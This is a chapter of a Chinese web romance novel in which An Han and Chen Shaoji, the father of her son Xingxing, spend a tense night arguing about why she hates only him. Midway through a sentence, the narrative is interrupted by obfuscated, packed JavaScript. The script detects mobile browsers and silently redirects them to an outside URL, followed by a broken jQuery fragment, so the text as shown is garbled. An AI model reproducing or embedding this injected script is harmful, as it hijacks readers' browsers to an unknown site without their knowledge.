23. 第二十三章
作品:《把星星还他》 你只是有些无能罢了。
安寒的声音带着淡淡的嘲讽,很快飘散在空气中。
她早已过了会因为男人的一两句力所不能及的歉意就说出“没关系”的年纪。
无能就是过错、承诺过却因为无能失约的人更是罪无可赦。
她说出口的话明明很冒犯,但因为她面色自然,让人始料不及,所以白子余一瞬间还没反应过来安寒在骂他。
寂静的秋夜里,汽车的引擎声和一道男人的嗤笑声显得格外突兀。
安寒朝身后看去。
线条流畅的黑色跑车的车门打开,陈少季迈着大长腿下车,朝安寒走过来。
面色不虞的男人走到了安寒的身边,挤到了安寒和白子余的车门中间,将安寒关门的手拿下,然后越过车窗看着车内的男人。
白子余被接连被安寒嘲讽和陈少季嘲笑之后,还能保持翩翩风度,对陈少季问好:“阿季,好久不见。”
陈少季一直觉得白子余很装,现在觉得他更装了。
陈少季知道自己现在应该落落大方地对白子余笑笑,然后说些什么“谢谢你送她回来”这样道貌岸然的鬼话。
可是……
他陈少季什么时候这么讲理了?
所以……
陈少季笑了笑,然后对白子余下歪了下头。
“你可以滚了。”
他说。
——
漆黑一片的空间里,安寒按开了玄关的灯。
陈少季抱着仍在熟睡的星星跟着安寒走进安寒的家中。
安寒换了拖鞋,看着陈少季慢吞吞地换着,想要从他手中接过星星,问道:“你们怎么来了?”
陈少季却并没有把星星给她:“狗仔堵在小区门口回不去了。”
他说完还冷哼了一声:“不来怎么能看到你在冷风中和他执手相看泪眼?”
明明她那句不轻不重的嘲讽他听得分明,嘲笑声比谁都大,现在居然还能说出这句“执手相看泪眼”。
安寒也垂了眼,像是在看无理取闹的孩童,警告道:“陈少季,你别找茬。”
陈少季闻言嗤笑了一声,然后才别扭地举着怀中的星星:“我把他放哪?”
看他像怀揣着炸药一样抱着星星乱跑,安寒舒出一口气,带着他们进了自己的卧室。
她的手放在灯的开关上的时候有些迟疑:“你没有别的地方可以去吗?”
陈少季将星星放下,神色不似作伪:“当然。”
他看上去真诚又纯良极了:“现在外面到处都是等我自投罗网的狗仔,你应该不会忍心让我们流落街头吧。”
其实安寒想说我管你的死活,但是在看到躺在她的床上安然睡着打着轻鼾的星星,实在有些不忍。
安寒家里没有客卧,也没有男人入住过,她有些烦躁地陈述道:“我家里没有你能穿的衣服。”
陈少季的唇角微微弯起,大有计谋得逞的前兆:“我车上有。”
虽然知道他刚从综艺现场回来,行李在车上理所当然,但是不知道为什么,安寒还是有种被人拿捏的错觉。
……
还是那个主卧,还是那张沙发床。
安寒洗完澡出来,陈少季已经将安寒靠窗那侧的床头柜抽走,把沙发床挪到了床边,拼成了一个更大的空间。
这样安寒睡在床上,陈少季睡在沙发上,星星也不会因为这里没有围栏掉下来,只会被爸爸在沙发床上抓获。
陈少季甚至熟门熟路地给自己铺好了四件套,有条不紊地像在军训。
安寒躺在床上,房间里一下子有了三个人在同时呼吸,其中一个人还是陈少季。
她很难忽略他的存在,仰躺在熟悉的床上,第一次一点睡意也没有。
伸手不见五指的卧室里,响起男人的声音。
“睡不着?”
陈少季的声音听不出情绪:“睡不着来聊聊天。”
安寒一动没动:“聊什么?”
陈少季翻了个身,面朝安寒的方向,但因为床和沙发的高度差,陈少季只看到了星星圆圆的小脑壳。
“聊你为什么去见他们。”
他的声音听起来很是不喜:“他可不是什么好人。”
安寒沉默了一瞬,轻声答道。
“可他也不是什么坏人。”
就像安寒说的,他只是无能,虽然她偶尔怨怼,可是她并不能因为将他、将他们划到坏人的行列。
陈少季闻言
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349646|182300||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不禁冷笑,不知道是不是在嘲笑安寒的天真。
许久之后,安寒听到他说。
“…所以只有我是坏人。”
安寒不自觉地看向他的方向。
陈少季不带任何情绪地陈述道:“所以只有我是坏人,对你发难的人被我一个一个亲手送进了监狱,只剩我一个人来面对你的恨。”
他的声音带着安寒不易察觉的危险:“你觉得他们是无能,是情有可原的软弱,你都能和他们笑着说一声好久不见,安寒,我想问很久了——”
他从黑暗中坐起,极具压迫性地问道:“凭什么你只恨我?”
“……”
安寒无法回答这个问题,她也坐起了身,让自己不去看黑暗中那道迫人的身影。
“我要去洗手间。”
看着她慌不择路地逃离,是慌不择路吧,陈少季的眼神没有波动,像是固执的狼人,想从伴侣的心口撕下一块皮肉来证明她的爱。
他问她凭什么只恨他一个。
其实这根本不是他想问的。
他想问的,是她为什么不能爱他。
为什么提出在一起的是她却又能随时丢掉他,为什么三年前不要他也不要星星。
还有……为什么安寒不爱陈少季?
为什么、凭什么?
……
安寒短时间内无法回到卧室中去。
她在厨房里给自己倒了一杯水,安静地喝完。
她不自觉地开始思考陈少季的问题。
其实也没什么好思考的,这个问题只有一个答案,只是安寒不想告诉他罢了。
因为她也有自尊。
她的爱恨浅薄,不足以让她舍弃自我,陪他奔赴这场未知的未来。
……
安寒在外面的沙发上坐了许久,直到她觉得陈少季应该已经入睡,才回到卧室里。
身边摄人的注视消失,伴随着星星平稳的呼吸,安寒很快就进入了梦乡。
在她入睡后,沙发上的男人睁开了眼睛,他换了个姿势,看着安寒家的天花板。
那一刻,陈少季想。
他要找到证据。
找到安寒爱他的证据。
让她再无路可逃。